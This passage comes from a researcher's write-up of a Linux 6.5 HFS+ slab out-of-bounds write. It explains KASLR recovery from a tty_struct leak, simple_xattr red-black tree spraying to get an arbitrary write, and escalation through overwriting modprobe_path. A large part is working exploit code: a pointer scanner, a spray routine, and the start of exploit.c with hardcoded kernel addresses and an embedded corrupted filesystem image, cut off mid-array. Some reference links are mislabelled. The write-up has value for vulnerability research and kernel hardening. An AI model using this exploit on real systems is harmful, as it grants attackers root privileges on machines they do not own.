/* Function to search for pointer triples and calculate KASLR base */
void find_pointer_triples(uint8_t * buffer, int buffer_size, int * success, uint64_t * kaslr_base_out) {
  for (int i = 0; i < buffer_size - 8; i++) {
    /* Extract the first pointer */
    uint64_t first_ptr = extract_pointer(buffer, i);

    if (!is_valid_pointer(first_ptr))
      /* Skip invalid pointers */
      continue;

    /* Extract the second pointer at the offset */
    int second_ptr_pos = i + OFFSET_2ND_PTR;

    if (second_ptr_pos + 8 > buffer_size)
      continue;

    uint64_t second_ptr = extract_pointer(buffer, second_ptr_pos);

    if (!is_valid_pointer(second_ptr))
      continue;

    /* Extract the third pointer at the next offset */
    int third_ptr_pos = second_ptr_pos + OFFSET_3RD_PTR - OFFSET_2ND_PTR;

    if (third_ptr_pos + 8 > buffer_size)
      continue;

    uint64_t third_ptr = extract_pointer(buffer, third_ptr_pos);

    if (!is_valid_pointer(third_ptr))
      continue;

    /* Calculate the differences */
    int64_t diff_first = first_ptr - BASE_ADDR_FIRST;
    int64_t diff_second = second_ptr - BASE_ADDR_SECOND;
    int64_t diff_third = third_ptr - BASE_ADDR_THIRD;

    printf("\n[+] Pointer triple found at byte offset %x:\n", i);
    printf("\tFirst pointer:  0x%lx (Difference: 0x%lx)\n", first_ptr, diff_first);
    printf("\tSecond pointer: 0x%lx (Difference: 0x%lx)\n", second_ptr, diff_second);
    printf("\tThird pointer:  0x%lx (Difference: 0x%lx)\n", third_ptr, diff_third);

    /* If all three differences match, calculate the KASLR base */
    if (diff_first == diff_second && diff_first == diff_third) {
      uint64_t kaslr_base = diff_first + KERNEL_BASE;

      printf("\n[+] KASLR base: 0x%lx\n", kaslr_base);
      * success = 1;
      * kaslr_base_out = kaslr_base;

      /* Stop once we find the KASLR base */
      return;
    }
  }
}

As simple as it looks like, the point of this code is just to search for kernel pointer looking values in the kernel leak dump. Given the structure of tty_struct, it becomes trivial to figure out the KASLR base with basic arithmetic. At this point, all that remains is to achieve some kind of stronger write primitive and escalate modprobe_path, now that we know where we are in memory.

It is super simple, but actually the inspiration for this came from an old script that my long-time hero, Imre Rad (of GCP hacking fame) wrote back when we were coworkers in a penest lab. His Perl script was able to go through a physical memory dump obtained via JTAG from embeddded Linux devices and look for kernel data structures to recover complete process trees using similar offset-based heuristics with task_structs and related data, and it proved to be very useful on different occasions.

Arbitrary write via red-black trees

At this point we have all the basic blocks to actually start exploiting the vulnerability.

We have a base address. Moreover, we are more than comfortable overwriting anything in kmalloc-1k or kmalloc-cg-1k with something like a 7/8 chance on first try.

Given all the hardship we went through in kmalloc-cg-1k, it would be really nice to go for a simple in-cache overflow for the RIP control this time. As we discussed earlier, the objects to spray into arbitrary kmem_caches are running out, but still in 6.5, we have the luxury to allocate simple_xattrs:

/**
 * simple_xattr_alloc - allocate new xattr object
 * @value: value of the xattr object
 * @size: size of @value
 *
 * Allocate a new xattr object and initialize respective members. The caller is
 * responsible for handling the name of the xattr.
 *
 * Return: On success a new xattr object is returned. On failure NULL is
 * returned.
 */
struct simple_xattr * simple_xattr_alloc(const void * value, size_t size) {
  struct simple_xattr * new_xattr;
  size_t len;

  /* wrap around? */
  len = sizeof( * new_xattr) + size;
  if (len < sizeof( * new_xattr))
    return NULL;

  new_xattr = kvmalloc(len, GFP_KERNEL);
  if (!new_xattr)
    return NULL;

  new_xattr -> size = size;
  memcpy(new_xattr -> value, value, size);
  return new_xattr;
}

Does this code makes any sense from a cgroups accounting perspective, given that unprivileged users could just randomly allocate a bunch of attributes on in-memory file systems, and write it down on the cost of GFP_KERNEL? No, it doesn’t, so it was changed to GFP_KERNEL_ACCOUNT in more recent kernel versions.

Still, in Linux 6.5, we can still corrupt these objects via our primitive in kmalloc-1k trivially. How trivially? Well, it was shown by starlabs and some other folks that tmpfs inodes store extended attributes using simple_xattr structures and then it is only a matter of a small exercise to overwrite one of them to execute an unlink attack, given that these are part of a linked list per-inode with zero hardening.

This was changed in 6.2 because why not: https://github.com/torvalds/linux/commit/3b4c7bc01727e3a465759236eeac03d0dd686da3.

Given that:

static inline void
__rb_change_child(struct rb_node *old, struct rb_node *new,
          struct rb_node *parent, struct rb_root *root)
{
    if (parent) {
        if (parent->rb_left == old)
            WRITE_ONCE(parent->rb_left, new);
        else
            WRITE_ONCE(parent->rb_right, new);
    } else
        WRITE_ONCE(root->rb_node, new);
}

and the calling context, it is tempting to imagine a kind of red-black tree unlink attack similar to a linked list unlink attack. Practically speaking, we can always ensure using a bunch of attacker controlled nodes and extended attributes to achieve some kind of memory corruption.

Still, the best course of action is to realize that on kmalloc-1k it is enough to spray 16 objects to saturate at least one kmem_cache slab. The way red-black trees are laid out in memory, the simple little idea that I’m actually pioneering in this writeup is the following.

Calculate how many simple_xattrs have to spray and into which kmalloc cache (For instance, in kmalloc-1k, 8 objects can fit on a single slab)
Make sure you can overwrite simple_xattrs comfortably using your OOB or UAF primitive

Given that one allocates say, 16 simple_xattrs from userspace, that will result in 8 of them ending up in some unused slab, and another 8 in our cpu main-slab. So far that is accepted behavior, but given that we are able to allocate some vulnerable object in the same kmem_cache, we can overwrite one of the last 8 kmalloc-1k allocated objects. Now, this usually means that among a red-black tree of 15 nodes, one variable is forced to take on a random node.

Well, we don’t know which, so we are running to risk of completely crashing the kernel after a few tries if we are not careful by corrupting the tree in various really bad ways.

Now I’m sure that my favorite mathematician Paul Erdos would have loved to spend time on the general problem of figuring out all the interesting things that can happen if you are given a random red-black tree and a randomly selected node of it and you started to ask algorithmic questions about the resulting structures.

Since we are completely stupid compared to that guy, what we are going to do instead is allocate a bunch of nodes in an order so that our last 8 allocations, that happen to be the interesting allocations that our write primitive can overwrite – so we allocate them in a way that they happen to be 8 red leaf nodes at the bottom for our red black tree. How? Well, just basic python will tell you that this works:

void spray_xattr(void)
{
    char xattr_name[XATTR_NAME_MAX_SIZE];
    char xattr_value[XATTR_NAME_MAX_SIZE];

    int base_nodes[] = {7, 3, 11, 1, 5, 9, 13};
    int leaf_nodes[] = {0, 2, 4, 6, 8, 10, 12, 14};
    int base_size = sizeof(base_nodes) / sizeof(base_nodes[0]);
    int leaf_size = sizeof(leaf_nodes) / sizeof(leaf_nodes[0]);

    for (int i = 100; i < 111; i++) {
        snprintf(xattr_value, XATTR_NAME_MAX_SIZE, "attilaszia-%d%512d", i, i);
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%d", i);
        setxattr("/tmp/tmpfs/xattr_node_3", xattr_name, xattr_value, strlen(xattr_value), 0);
    }


    for (int i = 0; i < base_size; i++) {
        snprintf(xattr_value, XATTR_NAME_MAX_SIZE, "attilaszia-%d%512d", base_nodes[i], base_nodes[i]);
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%02d", base_nodes[i]);
        setxattr("/tmp/tmpfs/xattr_node", xattr_name, xattr_value, strlen(xattr_value), 0);
    }

    for (int i = 0; i < leaf_size; i++) {
        snprintf(xattr_value, XATTR_NAME_MAX_SIZE, "attilaszia-%d%512d", leaf_nodes[i], leaf_nodes[i]);
        snprintf(xattr_name, XATTR_NAME_MAX_SIZE, "security.%02d", leaf_nodes[i]);
        setxattr("/tmp/tmpfs/xattr_node", xattr_name, xattr_value, strlen(xattr_value), 0);
    }

}

My data structures knowledge was pretty rusty when going into this, so if you are wondering why this works, here’s the gist of it.

Red-Black Tree Properties Recap

Every node is either red or black.
The root is always black.
Red nodes cannot have red children (i.e., no two consecutive red nodes on any path).
Every path from a node to its descendant null nodes must have the same number of black nodes, called the black-height.

Now, let’s break down what happens when you delete a red leaf:

Leaf Removal Doesn’t Affect Black-Height:
- A red leaf has no children, and removing it doesn’t affect the black nodes along any path to the null nodes. Therefore, the black-height of all paths remains the same, preserving that invariant.
Red Node with No Red Parent:
- By property 3, a red node cannot have a red parent, so deleting a red leaf doesn’t violate the rule about consecutive red nodes. The red parent (if it exists) is either black, or the red leaf was itself a root with no parent in which case this case doesn’t arise.

The order of insertions looks somewhat random, and actually there are multiple choices there. Coding up some more python, we used a simple Tk canvas to visualize what happens inside the data structure in the kernel when we are allocating these extended attributes:

This way, we are avoiding all the sketchy tree rotations during the erase calls, since those would definitely mess up our pointers and result in unhandled pagefaults and kernel crashes. Operations of this sort are problematic (/lib/rbtree.c#L227):

static __always_inline void
____rb_erase_color(struct rb_node *parent, struct rb_root *root,
    void (*augment_rotate)(struct rb_node *old, struct rb_node *new))
{
    struct rb_node *node = NULL, *sibling, *tmp1, *tmp2;

while (true) {
    /*
     * Loop invariants:
     * - node is black (or NULL on first iteration)
     * - node is not the root (parent is not NULL)
     * - All leaf paths going through parent and node have a
     *   black node count that is 1 lower than other leaf paths.
     */
    sibling = parent->rb_right;
    if (node != sibling) {  /* node == parent->rb_left */
        if (rb_is_red(sibling)) {
            /*
             * Case 1 - left rotate at parent
             *
             *     P               S
             *    / \             / \
             *   N   s    -->    p   Sr
             *      / \         / \
             *     Sl  Sr      N   Sl
             */
            tmp1 = sibling->rb_left;
            WRITE_ONCE(parent->rb_right, tmp1);
            WRITE_ONCE(sibling->rb_left, parent);
            rb_set_parent_color(tmp1, parent, RB_BLACK);
            __rb_rotate_set_parents(parent, sibling, root,
                        RB_RED);
            augment_rotate(parent, sibling);
            sibling = tmp1;
        }

Once that is done, we have an almost arbitrary write.

Escalation

As we saw above, similarly to an unlink attack, we have something like *ptr1->field = ptr2 and *ptr2->field2 = ptr1.

As the starlabs writeup points out:

Unfortunately, `next` is written to `prev` in line 2. This means that `prev` must be a valid pointer as well. This poses a significant restriction on the values that we can write to `next`. However, we can take advantage of the physmap to provide valid `prev` values.

The physmap is a region of kernel virtual memory where physical memory pages are mapped contiguously. For example, if a machine has 4GiB (2^32 bytes) of memory, 32 bits (4 bytes) are required to address each byte of physical memory available in the system. Assuming the physmap starts at 0xffffffff00000000, any address from 0xffffffff00000000 to 0xffffffffffffffff will be valid as every value (from 0x00000000-0xffffffff) of the lower 4 bytes are required to address memory.

In our case, we are working with code in include/linux/rbtree_augmented.h:

static __always_inline struct rb_node *
__rb_erase_augmented(struct rb_node *node, struct rb_root *root,
             const struct rb_augment_callbacks *augment)
{
    struct rb_node *child = node->rb_right;
    struct rb_node *tmp = node->rb_left;
    struct rb_node *parent, *rebalance;
    unsigned long pc;

    if (!tmp) {
        /*
         * Case 1: node to erase has no more than 1 child (easy!)
         *
         * Note that if there is one child it must be red due to 5)
         * and node must be black due to 4). We adjust colors locally
         * so as to bypass __rb_erase_color() later on.
         */
        pc = node->__rb_parent_color;
        parent = __rb_parent(pc);
        __rb_change_child(node, child, parent, root);
        if (child) {
            child->__rb_parent_color = pc;
            rebalance = NULL;
        } else
            rebalance = __rb_is_black(pc) ? parent : NULL;
        tmp = parent;
    } else if (!child) {
        /* Still case 1, but this time the child is node->rb_left */
        tmp->__rb_parent_color = pc = node->__rb_parent_color;
        parent = __rb_parent(pc);
        __rb_change_child(node, tmp, parent, root);
        rebalance = NULL;
        tmp = parent;

In __rb_change_child we overwrite the parent pointer with the child pointer as we discussed above. However, if the child pointer is not null, we also have to deal with child->__rb_parent_color = pc;. That is, we would like to perform the physmap trick by mapping our child pointer to a valid range (0xfff888..), and only introducing the ASCII characters on the lower bits of the address. There is one problem, though. When I tried this in gdb first, all of my write operations looked like that they are 4 of 8 bytes aligned.

As most of us, security researchers, as much as I’m comfortable looking at assembly or decompiled Ghidra listings all day, I’m actually terrible at understanding C code as it is written with its fancy keywords and compiler directives, so first I suspected that this was the problem:

struct rb_node {
    unsigned long  __rb_parent_color;
    struct rb_node *rb_right;
    struct rb_node *rb_left;
} __attribute__((aligned(sizeof(long))));
    /* The alignment might seem pointless, but allegedly CRIS needs it */

Although I exploited the issue with a ROP chain earlier, this was a scary moment because I really wanted to make this modprobe attack work. It was scary because an 8 bytes alignment could have prevented me from reusing the idea. Why? The reason is mundane. It is because the original value of the variable is /sbin/modprobe and we only control 4 bytes in our payload address. How can we overwrite this path to something attacker controllable like /tmp/folder if we can only write tmp/ and some junk? Starlabs’ solution was to leave the leading slash in /sbin, and position the write off-bye-one to that. See where this is going? If we can only write at 8 bytes boundaries, we are in trouble. Luckily, the reason for the aligned writes was not due to __attribute__((aligned(sizeof(long)))), but something much more simple, this __rb_parent macro:

#define __rb_parent(pc)    ((struct rb_node *)(pc & ~3))

#define __rb_color(pc)     ((pc) & 1)
#define __rb_is_black(pc)  __rb_color(pc)
#define __rb_is_red(pc)    (!__rb_color(pc))

This is called in the above code snippet. The idea is that the lower bits of the parent pointer store the color of the node, an the rest is used as the actual pointer. Luckily, it is only a 32 bits alignment. Therefore, we can execute the attack in two steps, first overwriting the path at the beginning by /tmp , then shifting the pointer by another 4 bytes, and writing /bgp or something else that we like. And this finally concludes the exploit. Once modprobe is redirected to a file of our control, exploitation becomes trivial:

Quod erat demonstrandum.

References

Mac OS X Overview – https://en.wikipedia.org/wiki/Mac_OS_X
Introduction to Apple File System – https://en.wikipedia.org/wiki/Apple_File_System
macOS High Sierra Information – https://en.wikipedia.org/wiki/MacOS_High_Sierra
Apple’s HFS Plus File System Documentation – https://developer.apple.com/library/archive/technotes/tn/tn1150.html
Research on HFS Plus Structure – https://dl.acm.org/doi/pdf/10.1145/3391202
LWN Article Investigating Kernel Exploits – https://lwn.net/Articles/652468/
Kernel Exploit Write-up Follow-up – https://lwn.net/Articles/652472/
Linux Kernel Commit: kmalloc-cg-* Introduction – https://github.com/torvalds/linux/commit/494c1dfe855ec1f70f89552fce5eadf4a1717552
Definition of GFP_KERNEL_ACCOUNT in Linux – https://elixir.bootlin.com/linux/v6.5/C/ident/GFP_KERNEL_ACCOUNT
Exploring Linux’s Random kmalloc Caches – https://sam4k.com/exploring-linux-random-kmalloc-caches/#introducing-random-kmalloc-caches
Linux Commit Attempting to Kill Caches – https://github.com/torvalds/linux/commit/734bbc1c97ea7e46e0e53b087de16c87c03bd65f
Linux Security Summit Talk on Kernel Vulnerabilities – https://www.youtube.com/watch?v=2hYzxsWeNcE&ab_channel=TheLinuxFoundation
KASLR (Kernel Address Space Layout Randomization) – https://lwn.net/Articles/569635/
Privilege Escalation via execve Calls – https://sam4k.com/like-techniques-modprobe_path/
Linux Source: fs/hfsplus/hfsplus_raw.h – https://github.com/torvalds/linux/blob/master/fs/hfsplus/hfsplus_raw.h
Linux man-pages for setxattr System Call – https://man7.org/linux/man-pages/man2/setxattr.2.html
Article on HFS Plus Known Issues – https://etenal.me/archives/1825
Study on Slab Allocator Elasticity – https://dl.acm.org/doi/10.1145/3372297.3423353
pahole Tool for Examining Structure Padding – https://linux.die.net/man/1/pahole
Chuck Norris Joke API – https://api.chucknorris.io/jokes/etd9c1v9smqxo2xonfm2lq
Kernel Exploit: tty_struct Documentation – https://github.com/smallkirby/kernelpwn/blob/master/structs.md#tty_struct
Kernel Exploit: tty_file_private Documentation – https://github.com/smallkirby/kernelpwn/blob/master/structs.md#tty_file_private
Kernel Exploit: poll_list, pollfd Documentation – https://github.com/smallkirby/kernelpwn/blob/master/structs.md#poll_list
Kernel Exploit: user_key_payload Documentation – https://github.com/smallkirby/kernelpwn/blob/master/structs.md#user_key_payload
Kernel Exploit: setxattr Documentation – https://github.com/smallkirby/kernelpwn/blob/master/structs.md#_setxattr
Kernel Exploit: seq_operations Documentation – https://github.com/smallkirby/kernelpwn/blob/master/structs.md#seq_operations
Kernel Exploit: subprocess_info Documentation – https://github.com/smallkirby/kernelpwn/blob/master/structs.md#subprocess_info
Discussion of Killed Kernel Objects – https://lwn.net/Articles/944647/
SLUB Allocator Security Paper – https://www.usenix.org/system/files/usenixsecurity24-maar-slubstick.pdf
Understanding the Linux Kernel Memory Allocator – https://www.kernel.org/doc/gorman/html/understand/understand009.html
Personal Website of Photographer – https://creation.etenal.me/
modprobe_path Overview – https://hu.wikipedia.org/wiki/Erd%C5%91s_P%C3%A1l
Winners of the 2021 GCP VRP Prize – https://security.googleblog.com/2022/06/announcing-winners-of-2021-gcp-vrp-prize.html
Linked List Behavior in Kernel Structures – https://starlabs.sg/blog/2022/06-io_uring-new-code-new-bugs-and-a-new-exploit-technique/
Biography of Mathematician Paul Erdos – https://hu.wikipedia.org/wiki/Erd%C5%91s_P%C3%A1l
starlabs: Exploiting io_uring Bugs – https://starlabs.sg/blog/2022/06-io_uring-new-code-new-bugs-and-a-new-exploit-technique/

Exploit

/*
 * exploit.c
 *
 * Attila Szasz <szasza.contact@gmail.com>
 * @4ttil4sz1a
 *
 * Exploit for hfs+ slab out of bounds write
 * targeting Linux kernel 6.5
 *
 */

#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <limits.h>
#include <stdint.h>
#include <unistd.h>
#include <sched.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/xattr.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <sys/shm.h>
#include <linux/keyctl.h>
#include <stdint.h>
#include <stdbool.h>
#include <time.h>
#include <zlib.h>
#include <endian.h>
#include <stdint.h>
#include <linux/types.h>
#include <errno.h>
#include <sys/mount.h>
#include <pwd.h>
#include <grp.h>
#include <semaphore.h>


#define KEY_DESC_MAX_SIZE 900
#define XATTR_NAME_MAX_SIZE 1024
#define MODPROBE_PATH "/proc/sys/kernel/modprobe"
#define BUFFER_SIZE 256

/*
#define DEBUG_CROSSCACHE 1
*/

/* see security/keys/key.c */
#define SPRAY_KEY_SIZE 13
#define SPRAY_KEY_SIZE_INIT 6
#define SPRAY_TTY_INITIAL 6
#define SPRAY_TTY_SIZE 9
#define SPRAY_XATTR_SIZE_MODPROBE 15

#define do_error_exit(msg) do {perror("[-] " msg); exit(EXIT_FAILURE); } while (0)

#define KERNEL_BASE_LOWER 0xffffffff80000000
#define KERNEL_BASE_UPPER 0xffffffffc0000000

#define OFFSET_2ND_PTR 0x230
#define OFFSET_3RD_PTR (OFFSET_2ND_PTR + (0x60))

#define BASE_ADDR_FIRST  0xffffffff82284be0
#define BASE_ADDR_SECOND 0xffffffff81631bc0
#define BASE_ADDR_THIRD  0xffffffff81633e30

#define MODPROBE_ADDR_ONE 0xffffffff82b3f638
#define MODPROBE_ADDR_TWO 0xffffffff82b3f63c

#define KERNEL_BASE 0xffffffff81000000

#define PIPE_SPRAY_NUM 20

#define PGV_1PAGE_SPRAY_NUM 0x100

#define PGV_4PAGES_START_IDX PGV_1PAGE_SPRAY_NUM
#define PGV_4PAGES_SPRAY_NUM 0x100

#define PGV_8PAGES_START_IDX (PGV_4PAGES_START_IDX + PGV_4PAGES_SPRAY_NUM)
#define PGV_8PAGES_SPRAY_NUM 0x100

int pgv_1page_start_idx;
int pgv_4pages_start_idx = PGV_4PAGES_START_IDX;
int pgv_8pages_start_idx = PGV_8PAGES_START_IDX;

uint64_t kaslr_base_recovered;

#define PGV_PAGE_NUM 1000
#define PACKET_VERSION 10
#define PACKET_TX_RING 13

struct tpacket_req {
    unsigned int tp_block_size;
    unsigned int tp_block_nr;
    unsigned int tp_frame_size;
    unsigned int tp_frame_nr;
};

/* Each allocation is (size * nr) bytes, aligned to PAGE_SIZE */
struct pgv_page_request {
    int idx;
    int cmd;
    unsigned int size;
    unsigned int nr;
};

/* Operations type */
enum {
    CMD_ALLOC_PAGE,
    CMD_FREE_PAGE,
    CMD_EXIT,
};

/* Tpacket version for setsockopt */
enum tpacket_versions {
    TPACKET_V1,
    TPACKET_V2,
    TPACKET_V3,
};

typedef int32_t key_serial_t;

#define CHUNK 16384

#define __packed __attribute__((packed))

#define HFSPLUS_ATTR_MAX_STRLEN 127

typedef __be32 hfsplus_cnid;
typedef __be16 hfsplus_unichr;
typedef __u32 u32;
typedef __u16 u16;
typedef __u8 u8;
typedef __s8 s8;

struct write4_payload {
    void *next;
    void *prev;
    uint8_t name_offset;
} __attribute__((packed));

uint64_t get_keyring_leak(key_serial_t *id_buffer, uint32_t id_buffer_size);

void release_keys(key_serial_t *id_buffer, uint32_t id_buffer_size);

static inline key_serial_t add_key(const char *type, const char *description, const void *payload, size_t plen, key_serial_t ringid)
{
    return syscall(__NR_add_key, type, description, payload, plen, ringid);
}

static inline long keyctl(int operation, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5)
{
    return syscall(__NR_keyctl, operation, arg2, arg3, arg4, arg5);
}

void set_cpu_affinity(int cpu_n, pid_t pid);

void spray_tty_struct(int num);

key_serial_t *spray_keyring(uint32_t spray_size, uint32_t offset);


struct hfsplus_attr_unistr {
    __be16 length;
    hfsplus_unichr unicode[HFSPLUS_ATTR_MAX_STRLEN];
} __packed;

/* HFS+ attributes tree key */
struct hfsplus_attr_key {
    __be16 key_len;
    __be16 pad;
    hfsplus_cnid cnid;
    __be32 start_block;
    struct hfsplus_attr_unistr key_name;
} __packed;

#define HFSPLUS_ATTR_KEYLEN    sizeof(struct hfsplus_attr_key)

/* A single contiguous area of a file */
struct hfsplus_extent {
    __be32 start_block;
    __be32 block_count;
} __packed;
typedef struct hfsplus_extent hfsplus_extent_rec[8];

/* Information for a "Fork" in a file */
struct hfsplus_fork_raw {
    __be64 total_size;
    __be32 clump_size;
    __be32 total_blocks;
    hfsplus_extent_rec extents;
} __packed;

/* HFS+ Volume Header */
struct hfsplus_vh {
    __be16 signature;
    __be16 version;
    __be32 attributes;
    __be32 last_mount_vers;
    u32 reserved;

    __be32 create_date;
    __be32 modify_date;
    __be32 backup_date;
    __be32 checked_date;

    __be32 file_count;
    __be32 folder_count;

    __be32 blocksize;
    __be32 total_blocks;
    __be32 free_blocks;

    __be32 next_alloc;
    __be32 rsrc_clump_sz;
    __be32 data_clump_sz;
    hfsplus_cnid next_cnid;

    __be32 write_count;
    __be64 encodings_bmp;

    u32 finder_info[8];

    struct hfsplus_fork_raw alloc_file;
    struct hfsplus_fork_raw ext_file;
    struct hfsplus_fork_raw cat_file;
    struct hfsplus_fork_raw attr_file;
    struct hfsplus_fork_raw start_file;
} __packed;


/* HFS+ BTree node descriptor */
struct hfs_bnode_desc {
    __be32 next;
    __be32 prev;
    s8 type;
    u8 height;
    __be16 num_recs;
    u16 reserved;
} __packed;

/* HFS+ BTree node types */
#define HFS_NODE_INDEX    0x00    /* An internal (index) node */
#define HFS_NODE_HEADER    0x01    /* The tree header node (node 0) */
#define HFS_NODE_MAP    0x02    /* Holds part of the bitmap of used nodes */
#define HFS_NODE_LEAF    0xFF    /* A leaf (ndNHeight==1) node */

/* HFS+ BTree header */
struct hfs_btree_header_rec {
    __be16 depth;
    __be32 root;
    __be32 leaf_count;
    __be32 leaf_head;
    __be32 leaf_tail;
    __be16 node_size;
    __be16 max_key_len;
    __be32 node_count;
    __be32 free_nodes;
    u16 reserved1;
    __be32 clump_size;
    u8 btree_type;
    u8 key_type;
    __be32 attributes;
    u32 reserved3[16];
} __packed;

#define HFS_TREE_BIGKEYS    2
#define HFS_TREE_VARIDXKEYS    4


/* Gzipped vanilla HFS+ that we are going to corrupt */
unsigned char vanilla_hfs_bin[] = {
  0x1f, 0x8b, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x5d, 0x90,
  0x79, 0x54, 0x12, 0x06, 0x00, 0xc6, 0xc1, 0xca, 0xb9, 0xe9, 0x6c, 0x79,
  0x65, 0xb4, 0xe4, 0xe5, 0xc9, 0x4c, 0xd3, 0xcc, 0x7c, 0x6a, 0xa5, 0x5b,
  0x4c, 0x4b, 0x9c, 0x4f, 0x53, 0xf7, 0x3c, 0x40, 0xb7, 0x28, 0x73, 0xa4,
  0x50, 0x1e, 0x80, 0x07, 0x1e, 0xaf, 0x56, 0x21, 0x4d, 0xe9, 0x52, 0xd3,
  0x54, 0x40, 0x43, 0x49, 0xc4, 0x32, 0x52, 0x1a, 0x82, 0x69, 0x86, 0x28,
  0x1e, 0x25, 0x79, 0x2b, 0xa0, 0x79, 0xe0, 0x81, 0x52, 0x98, 0x47, 0x5e,
  0xec, 0xad, 0xf7, 0xb6, 0xb4, 0xef, 0xdf, 0xdf, 0x1f, 0xdf, 0xef, 0xfb,
  0xc0, 0x37, 0xb4, 0x00, 0x9f, 0xb2, 0x6d, 0x76, 0x08, 0xee, 0x17, 0x88,
  0x05, 0x08, 0xdf, 0x67, 0x3e, 0x95, 0x18, 0xdb, 0xfd, 0x40, 0x32, 0x22,
  0xfe, 0x05, 0x31, 0xb8, 0x36, 0x40, 0xb5, 0x1f, 0x8e, 0xa0, 0x82, 0x74,
  0xaa, 0xf3, 0x03, 0xdf, 0x35, 0x69, 0xdd, 0x45, 0x12, 0x21, 0xa6, 0x15,
  0x1a, 0x97, 0xd3, 0xf5, 0xa4, 0xb8, 0x67, 0xf7, 0x46, 0xfe, 0xdc, 0x4e,
  0x32, 0xa5, 0x69, 0x19, 0x13, 0x2b, 0x5f, 0x58, 0xfb, 0x73, 0x4d, 0x8d,
  0xf5, 0x68, 0x5a, 0x2f, 0xc6, 0x40, 0xa0, 0xa5, 0xc1, 0x58, 0xa6, 0xe4,
  0x9c, 0x90, 0x53, 0x74, 0xa1, 0xcc, 0xe5, 0xcd, 0x87, 0xf5, 0x63, 0x85,
  0x79, 0x71, 0x13, 0x6d, 0x4b, 0x05, 0x72, 0xd9, 0x5a, 0x99, 0xc9, 0xed,
  0x53, 0xe2, 0xcb, 0x4d, 0xd1, 0x7a, 0x7c, 0x85, 0x92, 0x2f, 0x88, 0x84,
  0x53, 0xd5, 0x4d, 0xdf, 0x16, 0xb9, 0xd5, 0xd5, 0x6a, 0x68, 0xa4, 0xd0,
  0xd9, 0x1a, 0x7c, 0x3c, 0x29, 0xf4, 0x82, 0x12, 0x13, 0x3e, 0x72, 0xec,
  0xa7, 0xa1, 0xbe, 0x61, 0x4a, 0xb6, 0x92, 0xe7, 0x42, 0x85, 0xe1, 0xd2,
  0x72, 0x86, 0x18, 0x8e, 0x96, 0x6d, 0xa9, 0x39, 0x27, 0x5f, 0x1d, 0x95,
  0x5b, 0x16, 0xd8, 0x9b, 0x18, 0xc0, 0x15, 0x41, 0x16, 0x0a, 0x29, 0x07,
  0x62, 0xd9, 0x1c, 0x37, 0xed, 0xd8, 0x92, 0x70, 0x80, 0xae, 0x88, 0x6d,
  0x23, 0x8a, 0xc5, 0x76, 0x07, 0x9d, 0x88, 0x67, 0xd1, 0xac, 0x39, 0xe7,
  0x3e, 0x6b, 0x7a, 0x46, 0x71, 0xdd, 0xf4, 0x75, 0x9f, 0xa8, 0x01, 0x5f,
  0xf8, 0x75, 0xc8, 0x04, 0xa5, 0x35, 0x24, 0xad, 0xaa, 0x8f, 0xcd, 0xc0,
  0x35, 0x9f, 0xf1, 0x11, 0xc3, 0x42, 0x56, 0x48, 0xe3, 0x2e, 0x74, 0xaf,
  0x22, 0x18, 0x96, 0x55, 0x3e, 0xbd, 0xbb, 0x77, 0xdb, 0x0e, 0x9a, 0xc9,
  0xfc, 0x00, 0x39, 0x37, 0x9b, 0xbc, 0xef, 0x9b, 0xc3, 0x5e, 0xf9, 0x6a,
  0xe7, 0x28, 0x41, 0x7b, 0x17, 0x07, 0xa7, 0x83, 0xc2, 0xec, 0x8e, 0x7e,
  0x1e, 0x33, 0x8e, 0xae, 0xad, 0x69, 0x60, 0xde, 0xc8, 0x4d, 0x65, 0x8b,
  0xce, 0x77, 0x06, 0xdf, 0x3a, 0x15, 0x30, 0x35, 0x7e, 0x6c, 0xaa, 0xa2,
  0x89, 0xfa, 0xb8, 0xc3, 0xf7, 0x10, 0xdc, 0x5c, 0x0f, 0x75, 0x9c, 0x19,
  0x24, 0x5f, 0x5d, 0x76, 0x2f, 0x94, 0x82, 0x56, 0x5e, 0xf3, 0xf0, 0xa5,
  0xc9, 0x9e, 0xc9, 0x09, 0xb4, 0xd5, 0x9a, 0x69, 0xaf, 0x57, 0x17, 0x3d,
  0xf2, 0xe3, 0x11, 0xb0, 0xcc, 0x9b, 0xee, 0xc1, 0x83, 0xb5, 0x7e, 0xdb,
  0x87, 0xd5, 0xe6, 0xb1, 0x90, 0x94, 0x96, 0x01, 0x61, 0xdc, 0xce, 0x45,
  0x6b, 0xe8, 0xac, 0xa4, 0x92, 0xd1, 0x03, 0x6e, 0xce, 0x1b, 0xe9, 0x63,
  0x66, 0x55, 0xcb, 0xe2, 0x46, 0x33, 0x08, 0x58, 0x65, 0xf3, 0x6e, 0xdf,
  0x44, 0xbe, 0xf5, 0x3e, 0x02, 0xce, 0xd2, 0x65, 0x10, 0x7b, 0xa6, 0xb4,
  0xd5, 0xa9, 0x3d, 0x2c, 0x57, 0xb9, 0x4a, 0x9e, 0xab, 0x42, 0xc7, 0x42,
  0xf0, 0x1b, 0x8c, 0xa8, 0xd0, 0x55, 0x5d, 0x72, 0x85, 0x59, 0xeb, 0x53,
  0xbb, 0xf6, 0x29, 0x54, 0x05, 0x98, 0x51, 0x11, 0xed, 0xff, 0xb1, 0x74,
  0x95, 0x1e, 0xa4, 0x09, 0x26, 0x0f, 0x3a, 0x2b, 0x45, 0xa5, 0x2f, 0x44,
  0xe5, 0xac, 0xe3, 0x42, 0xca, 0x58, 0xf9, 0x62, 0xb8, 0xae, 0xb2, 0xf2,
  0x92, 0xcd, 0x51, 0xfd, 0x65, 0x86, 0x40, 0x21, 0xf0, 0xb6, 0xb3, 0x38,
  0xc9, 0xe8, 0x69, 0x81, 0x46, 0x37, 0x56, 0x23, 0x69, 0x75, 0x26, 0x80,
  0xff, 0x52, 0xff, 0xdb, 0xcf, 0x84, 0xa5, 0x7e, 0x9f, 0x99, 0x59, 0x65,
  0x9a, 0x83, 0x8b, 0xff, 0x7d, 0x87, 0xce, 0x97, 0xdd, 0xa3, 0x7e, 0x37,
  0xab, 0xaa, 0xba, 0x96, 0x2e, 0x3d, 0x9f, 0xcc, 0x9e, 0x62, 0xfa, 0xf2,
